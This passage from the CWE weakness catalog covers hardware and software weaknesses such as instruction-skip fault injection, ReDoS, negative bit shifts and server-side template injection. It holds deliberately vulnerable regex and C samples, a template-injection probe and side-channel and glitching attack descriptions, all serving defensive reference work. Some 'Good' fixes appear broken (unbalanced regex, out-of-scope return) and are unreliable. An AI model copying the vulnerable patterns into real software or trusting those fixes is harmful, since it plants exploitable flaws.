### Common Consequences

Scope	Impact	Likelihood
Confidentiality Availability	DoS: Resource Consumption (Other) Varies by Context Other  <i>Attackers may infer data that belongs to a trusted agent. The methods used to perform this attack may result in noticeably increased resource consumption.</i>	Medium

### Detection Methods

#### Manual Analysis

Providing marker flags to send through the interfaces coupled with examination of which users are able to read or manipulate the flags will help verify that the proper isolation has been achieved and is effective.

*Effectiveness = Moderate*

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Implementation

Implement priority-based arbitration inside the NoC and have dedicated buffers or virtual channels for routing secret data from trusted agents.

### Demonstrative Examples

#### Example 1:

Consider a NoC that implements a one-dimensional mesh network with four nodes. This supports two flows: Flow A from node 0 to node 3 (via node 1 and node 2) and Flow B from node 1 to node 2. Flows A and B share a common link between Node 1 and Node 2. Only one flow can use the link in each cycle.

One of the masters to this NoC implements a cryptographic algorithm (RSA), and another master to the NoC is a core that can be exercised by an attacker. The RSA algorithm performs a modulo multiplication of two large numbers and depends on each bit of the secret key. The algorithm examines each bit in the secret key and only performs multiplication if the bit is 1. This algorithm is known to be prone to timing attacks. Whenever RSA performs multiplication, there is additional network traffic to the memory controller. One of the reasons for this is cache conflicts.

Since this is a one-dimensional mesh, only one flow can use the link in each cycle. Also, packets from the attack program and the RSA program share the output port of the network-on-chip. This contention results in network interference, and the throughput and latency of one flow can be affected by the other flow's demand.

*Example Language:*

*(Attack)*

The attacker runs a loop program on the core they control, and this causes a cache miss in every iteration for the RSA algorithm. Thus, by observing network-traffic bandwidth and timing, the attack program can determine when the RSA algorithm is doing a multiply operation (i.e., when the secret key bit is 1) and eventually extract the entire, secret key.

There may be different ways to fix this particular weakness.

Example Language: Other

(Good)

Implement priority-based arbitration inside the NoC and have dedicated buffers or virtual channels for routing secret data from trusted agents.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1203	Peripherals, On-chip Fabric, and Interface/IO Problems	1194	2265

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
124	Shared Resource Manipulation

## References

[REF-1155]Hassan M. G. Wassel, Ying Gao, Jason K. Oberg, Tedd Huffmire, Ryan Kastner, Frederic T. Chong, Timothy Sherwood. "SurfNoC: A Low Latency and Provably Non-Interfering Approach to Secure Networks-On-Chip". 2013. < <http://cseweb.ucsd.edu/~kastner/papers/isca13-surfNOC.pdf> >.

[REF-1241]Wikipedia. "Network on a chip". < [https://en.wikipedia.org/wiki/Network\\_on\\_a\\_chip](https://en.wikipedia.org/wiki/Network_on_a_chip) >.2021-10-24.

[REF-1242]Subodha Charles and Prabhat Mishra. "A Survey of Network-on-Chip Security Attacks and Countermeasures". ACM Computing Surveys. 2021 May. < <https://dl.acm.org/doi/fullHtml/10.1145/3450964> >.2021-10-24.

[REF-1245]Subodha Charles. "Design of Secure and Trustworthy Network-on-chip Architectures". 2020. < <https://www.cise.ufl.edu/research/cad/Publications/charlesThesis.pdf> >.

## CWE-1332: Improper Handling of Faults that Lead to Instruction Skips

**Weakness ID** : 1332

**Structure** : Simple

**Abstraction** : Base

### Description

The device is missing or incorrectly implements circuitry or sensors that detect and mitigate the skipping of security-critical CPU instructions when they occur.

### Extended Description

The operating conditions of hardware may change in ways that cause unexpected behavior to occur, including the skipping of security-critical CPU instructions. Generally, this can occur due to electrical disturbances or when the device operates outside of its expected conditions.

In practice, application code may contain conditional branches that are security-sensitive (e.g., accepting or rejecting a user-provided password). These conditional branches are typically implemented by a single conditional branch instruction in the program binary which, if skipped, may lead to effectively flipping the branch condition - i.e., causing the wrong security-sensitive branch to be taken. This affects processes such as firmware authentication, password verification, and other security-sensitive decision points.

Attackers can use fault injection techniques to alter the operating conditions of hardware so that security-critical instructions are skipped more frequently or more reliably than they would in a "natural" setting.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	☺	1384	Improper Handling of Physical or Environmental Conditions	2078

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
PeerOf	☹	1247	Improper Protection Against Voltage and Clock Glitches	1886

## Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** System on Chip (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	High
Integrity	Alter Execution Logic	
Authentication	Unexpected State	
<i>Depending on the context, instruction skipping can have a broad range of consequences related to the generic bypassing of security critical code.</i>		

## Detection Methods

### Automated Static Analysis

This weakness can be found using automated static analysis once a developer has indicated which code paths are critical to protect.

*Effectiveness = Moderate*

### Simulation / Emulation

This weakness can be found using automated dynamic analysis. Both emulation of a CPU with instruction skips, as well as RTL simulation of a CPU IP, can indicate parts of the code that are sensitive to faults due to instruction skips.

*Effectiveness = Moderate*

### Manual Analysis

This weakness can be found using manual (static) analysis. The analyst has security objectives that are matched against the high-level code. This method is less precise than emulation, especially if the analysis is done at the higher level language rather than at assembly level.

Effectiveness = Moderate

### Potential Mitigations

#### Phase: Architecture and Design

Design strategies for ensuring safe failure if inputs, such as Vcc, are modified out of acceptable ranges.

#### Phase: Architecture and Design

Design strategies for ensuring safe behavior if instructions attempt to be skipped.

#### Phase: Architecture and Design

Identify mission critical secrets that should be wiped if faulting is detected, and design a mechanism to do the deletion.

#### Phase: Implementation

Add redundancy by performing an operation multiple times, either in space or time, and perform majority voting. Additionally, make conditional instruction timing unpredictable.

#### Phase: Implementation

Use redundant operations or canaries to detect and respond to faults.

#### Phase: Implementation

Ensure that fault mitigations are strong enough in practice. For example, a low power detection mechanism that takes 50 clock cycles to trigger at lower voltages may be an insufficient security mechanism if the instruction counter has already progressed with no other CPU activity occurring.

### Demonstrative Examples

#### Example 1:

A smart card contains authentication credentials that are used as authorization to enter a building. The credentials are only accessible when a correct PIN is presented to the card.

*Example Language:*

*(Bad)*

The card emits the credentials when a voltage anomaly is injected into the power line to the device at a particular time after providing an incorrect PIN to the card, causing the internal program to accept the incorrect PIN.

There are several ways this weakness could be fixed.

*Example Language:*

*(Good)*

- add an internal filter or internal power supply in series with the power supply pin on the device
- add sensing circuitry to reset the device if out of tolerance conditions are detected
- add additional execution sensing circuits to monitor the execution order for anomalies and abort the action or reset the device under fault conditions

### Observed Examples

Reference	Description
CVE-2019-15894	fault injection attack bypasses the verification mode, potentially allowing arbitrary code execution. <a href="https://www.cve.org/CVERecord?id=CVE-2019-15894">https://www.cve.org/CVERecord?id=CVE-2019-15894</a>

### Functional Areas

- Power

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1206	Power, Clock, Thermal, and Reset Concerns	1194	2266
MemberOf		1388	Physical Access Issues and Concerns	1194	2309

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
624	Hardware Fault Injection
625	Mobile Device Fault Injection

### References

[REF-1161]Josep Balasch, Benedikt Gierlichs and Ingrid Verbauwhede. "An In-depth and Black-box Characterization of the Effects of Clock Glitches on 8-bit MCUs". 2011 Workshop on Fault Diagnosis and Tolerance in Cryptography (IEEE). 2011 September. < <https://ieeexplore.ieee.org/document/6076473> >.

[REF-1222]Alexandre Menu, Jean-Max Dutertre, Olivier Potin and Jean-Baptiste Rigaud. "Experimental Analysis of the Electromagnetic Instruction Skip Fault Model". IEEE Xplore. 2020 April 0. < <https://ieeexplore.ieee.org/document/9081261> >.

[REF-1223]Niek Timmers, Albert Spruyt and Marc Witteman. "Controlling PC on ARM using Fault Injection". 2016 June 1. < <https://www.riscure.com/uploads/2017/09/Controlling-PC-on-ARM-using-Fault-Injection.pdf> >.

[REF-1224]Colin O'Flynn. "Attacking USB Gear with EMFI". Circuit Cellar. 2019 May. < [https://www.totalphase.com/media/pdf/whitepapers/Circuit\\_Cellar\\_TP.pdf](https://www.totalphase.com/media/pdf/whitepapers/Circuit_Cellar_TP.pdf) >.

[REF-1286]Lennert Wouters, Benedikt Gierlichs and Bart Preneel. "On The Susceptibility of Texas Instruments SimpleLink Platform Microcontrollers to Non-Invasive Physical Attacks". 2022 March 4. < <https://eprint.iacr.org/2022/328.pdf> >.

## CWE-1333: Inefficient Regular Expression Complexity

**Weakness ID** : 1333

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles.

### Extended Description

Some regular expression engines have a feature called "backtracking". If the token cannot match, the engine "backtracks" to a position that may result in a different token that can match. Backtracking becomes a weakness if all of these conditions are met:

- The number of possible backtracking attempts are exponential relative to the length of the input.
- The input can fail to match the regular expression.
- The input can be long enough.

Attackers can create crafted inputs that intentionally cause the regular expression to use excessive backtracking in a way that causes the CPU consumption to spike.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		407	Inefficient Algorithmic Complexity	939

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		407	Inefficient Algorithmic Complexity	939

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Alternate Terms

**ReDoS** : ReDoS is an abbreviation of "Regular expression Denial of Service".

**Regular Expression Denial of Service** : While this term is attack-focused, this is commonly used to describe the weakness.

**Catastrophic backtracking** : This term is used to describe the behavior of the regular expression as a negative technical impact.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	High

### Potential Mitigations

#### Phase: Architecture and Design

Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.

*Effectiveness = High*

*This is one of the few effective solutions when using user-provided regular expressions.*

#### Phase: System Configuration

Set backtracking limits in the configuration of the regular expression implementation, such as PHP's `pcre.backtrack_limit`. Also consider limits on execution time for the process.

*Effectiveness = Moderate*

#### Phase: Implementation

Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.

*Effectiveness = High*

#### Phase: Implementation

Limit the length of the input that the regular expression will process.

*Effectiveness = Moderate*

### Demonstrative Examples

#### Example 1:

This example attempts to check if an input string is a "sentence" [REF-1164].

*Example Language: JavaScript*

*(Bad)*

```
var test_string = "Bad characters: $@#";
var bad_pattern = /^(w+s?)*$/i;
var result = test_string.search(bad_pattern);
```

The regular expression has a vulnerable backtracking clause inside `(w+s?)*$` which can be triggered to cause a Denial of Service by processing particular phrases.

To fix the backtracking problem, backtracking is removed with the `?=` portion of the expression which changes it to a lookahead and the `\2` which prevents the backtracking. The modified example is:

*Example Language: JavaScript*

*(Good)*

```
var test_string = "Bad characters: $@#";
var good_pattern = /^(?=(w+))\2s?)*$/i;
var result = test_string.search(good_pattern);
```

Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.

### Example 2:

This example attempts to check if an input string is a "sentence" and is modified for Perl [REF-1164].

*Example Language: Perl*

*(Bad)*

```
my $test_string = "Bad characters: \$\@#";
my $bdrslt = $test_string;
$bdrslt =~ /^(w+s?)*$/i;
```

The regular expression has a vulnerable backtracking clause inside `(w+s?)*$` which can be triggered to cause a Denial of Service by processing particular phrases.

To fix the backtracking problem, backtracking is removed with the `?=` portion of the expression which changes it to a lookahead and the `\2` which prevents the backtracking. The modified example is:

*Example Language: Perl*

*(Good)*

```
my $test_string = "Bad characters: \$\@#";
my $gdrslt = $test_string;
$gdrslt =~ /^(?=(w+))\2s?)*$/i;
```

Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.

## Observed Examples

Reference	Description
<b>CVE-2020-5243</b>	server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking. <a href="https://www.cve.org/CVERecord?id=CVE-2020-5243">https://www.cve.org/CVERecord?id=CVE-2020-5243</a>
<b>CVE-2021-21317</b>	npm package for user-agent parser prone to ReDoS due to overlapping capture groups <a href="https://www.cve.org/CVERecord?id=CVE-2021-21317">https://www.cve.org/CVERecord?id=CVE-2021-21317</a>



Reference	Description
<b>CVE-2019-16215</b>	Markdown parser uses inefficient regex when processing a message, allowing users to cause CPU consumption and delay preventing processing of other messages. <a href="https://www.cve.org/CVERecord?id=CVE-2019-16215">https://www.cve.org/CVERecord?id=CVE-2019-16215</a>
<b>CVE-2019-6785</b>	Long string in a version control product allows DoS due to an inefficient regex. <a href="https://www.cve.org/CVERecord?id=CVE-2019-6785">https://www.cve.org/CVERecord?id=CVE-2019-6785</a>
<b>CVE-2019-12041</b>	Javascript code allows ReDoS via a long string due to excessive backtracking. <a href="https://www.cve.org/CVERecord?id=CVE-2019-12041">https://www.cve.org/CVERecord?id=CVE-2019-12041</a>
<b>CVE-2015-8315</b>	ReDoS when parsing time. <a href="https://www.cve.org/CVERecord?id=CVE-2015-8315">https://www.cve.org/CVERecord?id=CVE-2015-8315</a>
<b>CVE-2015-8854</b>	ReDoS when parsing documents. <a href="https://www.cve.org/CVERecord?id=CVE-2015-8854">https://www.cve.org/CVERecord?id=CVE-2015-8854</a>
<b>CVE-2017-16021</b>	ReDoS when validating URL. <a href="https://www.cve.org/CVERecord?id=CVE-2017-16021">https://www.cve.org/CVERecord?id=CVE-2017-16021</a>

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
492	Regular Expression Exponential Blowup

### References

- [REF-1180]Scott A. Crosby. "Regular Expression Denial of Service". 2003 August. < <https://web.archive.org/web/20031120114522/http://www.cs.rice.edu/~scrosby/hash/slides/USENIX-RegexpWIP.2.ppt> >.
- [REF-1162]Jan Goyvaerts. "Runaway Regular Expressions: Catastrophic Backtracking". 2019 December 2. < <https://www.regular-expressions.info/catastrophic.html> >.
- [REF-1163]Adar Weidman. "Regular expression Denial of Service - ReDoS". < [https://owasp.org/www-community/attacks/Regular\\_expression\\_Denial\\_of\\_Service\\_-\\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) >.
- [REF-1164]Ilya Kantor. "Catastrophic backtracking". 2020 December 3. < <https://javascript.info/regexp-catastrophic-backtracking> >.
- [REF-1165]Cristian-Alexandru Staicu and Michael Pradel. "Freezing the Web: A Study of ReDoS Vulnerabilities in JavaScript-based Web Servers". USENIX Security Symposium. 2018 July 1. < <https://www.usenix.org/system/files/conference/usenixsecurity18/sec18-staicu.pdf> >.
- [REF-1166]James C. Davis, Christy A. Coghlan, Francisco Servant and Dongyoon Lee. "The Impact of Regular Expression Denial of Service (ReDoS) in Practice: An Empirical Study at the Ecosystem Scale". 2018 August 1. < [https://people.cs.vt.edu/fservant/papers/Davis\\_Coghlan\\_Servant\\_Lee\\_ESECFSE18.pdf](https://people.cs.vt.edu/fservant/papers/Davis_Coghlan_Servant_Lee_ESECFSE18.pdf) >.
- [REF-1167]James Davis. "The Regular Expression Denial of Service (ReDoS) cheat-sheet". 2020 May 3. < <https://levelup.gitconnected.com/the-regular-expression-denial-of-service-redos-cheat-sheet-a78d0ed7d865> >.

## CWE-1334: Unauthorized Error Injection Can Degrade Hardware Redundancy

**Weakness ID** : 1334

**Structure** : Simple

**Abstraction** : Base

### Description

An unauthorized agent can inject errors into a redundant block to deprive the system of redundancy or put the system in a degraded operating mode.

### Extended Description

To ensure the performance and functional reliability of certain components, hardware designers can implement hardware blocks for redundancy in the case that others fail. This redundant block can be prevented from performing as intended if the design allows unauthorized agents to inject errors into it. In this way, a path with injected errors may become unavailable to serve as a redundant channel. This may put the system into a degraded mode of operation which could be exploited by a subsequent attack.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	
Availability	DoS: Instability	
	Quality Degradation	
	DoS: Resource Consumption (CPU)	
	DoS: Resource Consumption (Memory)	
	DoS: Resource Consumption (Other)	
	Reduce Performance	
	Reduce Reliability	
	Unexpected State	

## Potential Mitigations

### Phase: Architecture and Design

Ensure the design does not allow error injection in modes intended for normal run-time operation.  
Provide access controls on interfaces for injecting errors.

### Phase: Implementation

Disallow error injection in modes which are expected to be used for normal run-time operation.  
Provide access controls on interfaces for injecting errors.

### Phase: Integration

Add an access control layer atop any unprotected interfaces for injecting errors.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
624	Hardware Fault Injection
625	Mobile Device Fault Injection

## CWE-1335: Incorrect Bitwise Shift of Integer

**Weakness ID** : 1335

**Structure** : Simple

**Abstraction** : Base

### Description

An integer value is specified to be shifted by a negative amount or an amount greater than or equal to the number of bits contained in the value causing an unexpected or indeterminate result.

### Extended Description

Specifying a value to be shifted by a negative amount is undefined in various languages. Various computer architectures implement this action in different ways. The compilers and interpreters when generating code to accomplish a shift generally do not do a check for this issue.

Specifying an over-shift, a shift greater than or equal to the number of bits contained in a value to be shifted, produces a result which varies by architecture and compiler. In some languages, this action is specifically listed as producing an undefined result.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	682	Incorrect Calculation	1403

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : JavaScript (Prevalence = Undetermined)

**Operating\_System** : Not OS-Specific (Prevalence = Undetermined)

**Technology** : Not Technology-Specific (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Integrity	DoS: Crash, Exit, or Restart	

### Potential Mitigations

**Phase: Implementation**

Implicitly or explicitly add checks and mitigation for negative or over-shift values.

## Demonstrative Examples

### Example 1:

A negative shift amount for an x86 or x86\_64 shift instruction will produce the number of bits to be shifted by taking a 2's-complement of the shift amount and effectively masking that amount to the lowest 6 bits for a 64 bit shift instruction.

*Example Language: C*

*(Bad)*

```
unsigned int r = 1 << -5;
```

The example above ends up with a shift amount of -5. The hexadecimal value is FFFFFFFF which, when bits above the 6th bit are masked off, the shift amount becomes a binary shift value of 111101 which is 61 decimal. A shift of 61 produces a very different result than -5. The previous example is a very simple version of the following code which is probably more realistic of what happens in a real system.

*Example Language: C*

*(Bad)*

```
int choose_bit(int reg_bit, int bit_number_from_elsewhere)
{
    if (NEED_TO_SHIFT)
    {
        reg_bit -= bit_number_from_elsewhere;
    }
    return reg_bit;
}
unsigned int handle_io_register(unsigned int *r)
{
    unsigned int the_bit = 1 << choose_bit(5, 10);
    *r |= the_bit;
    return the_bit;
}
```

*Example Language: C*

*(Good)*

```
int choose_bit(int reg_bit, int bit_number_from_elsewhere)
{
    if (NEED_TO_SHIFT)
    {
        reg_bit -= bit_number_from_elsewhere;
    }
    return reg_bit;
}
unsigned int handle_io_register(unsigned int *r)
{
    int the_bit_number = choose_bit(5, 10);
    if ((the_bit_number > 0) && (the_bit_number < 63))
    {
        unsigned int the_bit = 1 << the_bit_number;
        *r |= the_bit;
    }
    return the_bit;
}
```

Note that the good example not only checks for negative shifts and disallows them, but it also checks for over-shifts. No bit operation is done if the shift is out of bounds. Depending on the program, perhaps an error message should be logged.

## Observed Examples

Reference	Description
<b>CVE-2009-4307</b>	An unexpected large value in the ext4 filesystem causes an overshift condition resulting in a divide by zero.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2009-4307">https://www.cve.org/CVERecord?id=CVE-2009-4307</a>
<b>CVE-2012-2100</b>	An unexpected large value in the ext4 filesystem causes an overshift condition resulting in a divide by zero - fix of CVE-2009-4307. <a href="https://www.cve.org/CVERecord?id=CVE-2012-2100">https://www.cve.org/CVERecord?id=CVE-2012-2100</a>
<b>CVE-2020-8835</b>	An overshift in a kernel allowed out of bounds reads and writes resulting in a root takeover. <a href="https://www.cve.org/CVERecord?id=CVE-2020-8835">https://www.cve.org/CVERecord?id=CVE-2020-8835</a>
<b>CVE-2015-1607</b>	Program is not properly handling signed bitwise left-shifts causing an overlapping memcpy memory range error. <a href="https://www.cve.org/CVERecord?id=CVE-2015-1607">https://www.cve.org/CVERecord?id=CVE-2015-1607</a>
<b>CVE-2016-9842</b>	Compression function improperly executes a signed left shift of a negative integer. <a href="https://www.cve.org/CVERecord?id=CVE-2016-9842">https://www.cve.org/CVERecord?id=CVE-2016-9842</a>
<b>CVE-2018-18445</b>	Some kernels improperly handle right shifts of 32 bit numbers in a 64 bit register. <a href="https://www.cve.org/CVERecord?id=CVE-2018-18445">https://www.cve.org/CVERecord?id=CVE-2018-18445</a>
<b>CVE-2013-4206</b>	Putty has an incorrectly sized shift value resulting in an overshift. <a href="https://www.cve.org/CVERecord?id=CVE-2013-4206">https://www.cve.org/CVERecord?id=CVE-2013-4206</a>
<b>CVE-2018-20788</b>	LED driver overshifts under certain conditions resulting in a DoS. <a href="https://www.cve.org/CVERecord?id=CVE-2018-20788">https://www.cve.org/CVERecord?id=CVE-2018-20788</a>

## CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

**Weakness ID** : 1336

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.

### Extended Description

Many web applications use template engines that allow developers to insert externally-influenced values into free text or messages in order to generate a full web page, document, message, etc. Such engines include Twig, Jinja2, Pug, Java Server Pages, FreeMarker, Velocity, ColdFusion, Smarty, and many others - including PHP itself. Some CMS (Content Management Systems) also use templates.

Template engines often have their own custom command or expression language. If an attacker can influence input into a template before it is processed, then the attacker can invoke arbitrary expressions, i.e. perform injection attacks. For example, in some template languages, an attacker could inject the expression "{7\*7}" and determine if the output returns "49" instead. The syntax varies depending on the language.



In some cases, XSS-style attacks can work, which can obscure the root cause if the developer does not closely investigate the root cause of the error.

Template engines can be used on the server or client, so both "sides" could be affected by injection. The mechanisms of attack or the affected technologies might be different, but the mistake is fundamentally the same.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		94	Improper Control of Generation of Code ('Code Injection')	213
PeerOf		917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	1692

## Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

**Language** : PHP (*Prevalence = Undetermined*)

**Language** : Python (*Prevalence = Undetermined*)

**Language** : JavaScript (*Prevalence = Undetermined*)

**Language** : Interpreted (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Technology** : Client Server (*Prevalence = Undetermined*)

## Alternate Terms

**Server-Side Template Injection / SSTI** : This term is used for injection into template engines being used by a server.

**Client-Side Template Injection / CSTI** : This term is used for injection into template engines being used by a client.

## Common Consequences

Scope	Impact	Likelihood
Integrity	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

### Phase: Implementation

Use the template engine's sandbox or restricted mode, if available.

## Observed Examples

Reference	Description
<b>CVE-2017-16783</b>	server-side template injection in content management server <a href="https://www.cve.org/CVERecord?id=CVE-2017-16783">https://www.cve.org/CVERecord?id=CVE-2017-16783</a>
<b>CVE-2020-9437</b>	authentication / identity management product has client-side template injection <a href="https://www.cve.org/CVERecord?id=CVE-2020-9437">https://www.cve.org/CVERecord?id=CVE-2020-9437</a>
<b>CVE-2020-12790</b>	Server-Side Template Injection using a Twig template <a href="https://www.cve.org/CVERecord?id=CVE-2020-12790">https://www.cve.org/CVERecord?id=CVE-2020-12790</a>
<b>CVE-2021-21244</b>	devops platform allows SSTI <a href="https://www.cve.org/CVERecord?id=CVE-2021-21244">https://www.cve.org/CVERecord?id=CVE-2021-21244</a>

Reference	Description
<b>CVE-2020-4027</b>	bypass of Server-Side Template Injection protection mechanism with macros in Velocity templates <a href="https://www.cve.org/CVERecord?id=CVE-2020-4027">https://www.cve.org/CVERecord?id=CVE-2020-4027</a>
<b>CVE-2020-26282</b>	web browser proxy server allows Java EL expressions from Server-Side Template Injection <a href="https://www.cve.org/CVERecord?id=CVE-2020-26282">https://www.cve.org/CVERecord?id=CVE-2020-26282</a>
<b>CVE-2020-1961</b>	SSTI involving mail templates and JEXL expressions <a href="https://www.cve.org/CVERecord?id=CVE-2020-1961">https://www.cve.org/CVERecord?id=CVE-2020-1961</a>
<b>CVE-2019-19999</b>	product does not use a "safe" setting for a FreeMarker configuration, allowing SSTI <a href="https://www.cve.org/CVERecord?id=CVE-2019-19999">https://www.cve.org/CVERecord?id=CVE-2019-19999</a>
<b>CVE-2018-20465</b>	product allows read of sensitive database username/password variables using server-side template injection <a href="https://www.cve.org/CVERecord?id=CVE-2018-20465">https://www.cve.org/CVERecord?id=CVE-2018-20465</a>

## Notes

### Relationship

Since expression languages are often used in templating languages, there may be some overlap with CWE-917 (Expression Language Injection). XSS (CWE-79) is also co-located with template injection.

### Maintenance

The interrelationships and differences between CWE-917 and CWE-1336 need to be further clarified.

## References

[REF-1193]James Kettle. "Server-Side Template Injection". 2015 August 5. < <https://portswigger.net/research/server-side-template-injection> >.

[REF-1194]James Kettle. "Server-Side Template Injection: RCE For The Modern Web App". 2015 December 7. < <https://www.youtube.com/watch?v=3cT0uE7Y87s> >.

## CWE-1338: Improper Protections Against Hardware Overheating

**Weakness ID** : 1338

**Structure** : Simple

**Abstraction** : Base

### Description

A hardware device is missing or has inadequate protection features to prevent overheating.

### Extended Description

Hardware, electrical circuits, and semiconductor silicon have thermal side effects, such that some of the energy consumed by the device gets dissipated as heat and increases the temperature of the device. For example, in semiconductors, higher-operating frequency of silicon results in higher power dissipation and heat. The leakage current in CMOS circuits increases with temperature, and this creates positive feedback that can result in thermal runaway and damage the device permanently.

Any device lacking protections such as thermal sensors, adequate platform cooling, or thermal insulation is susceptible to attacks by malicious software that might deliberately operate the device in modes that result in overheating. This can be used as an effective denial of service (DoS) or permanent denial of service (PDoS) attack.



Depending on the type of hardware device and its expected usage, such thermal overheating can also cause safety hazards and reliability issues. Note that battery failures can also cause device overheating but the mitigations and examples included in this submission cannot reliably protect against a battery failure.

There can be similar weaknesses with lack of protection from attacks based on overvoltage or overcurrent conditions. However, thermal heat is generated by hardware operation and the device should implement protection from overheating.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

**Technology** : Power Management Hardware (*Prevalence = Undetermined*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other)	High

## Detection Methods

### Dynamic Analysis with Manual Results Interpretation

Dynamic tests should be performed to stress-test temperature controls.

*Effectiveness = High*

### Architecture or Design Review

Power management controls should be part of Architecture and Design reviews.

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

Temperature maximum and minimum limits should be enforced using thermal sensors both in silicon and at the platform level.

### Phase: Implementation

The platform should support cooling solutions such as fans that can be modulated based on device-operation needs to maintain a stable temperature.

## Demonstrative Examples

**Example 1:**

Malicious software running on a core can execute instructions that consume maximum power or increase core frequency. Such a power-virus program could execute on the platform for an extended time to overheat the device, resulting in permanent damage.

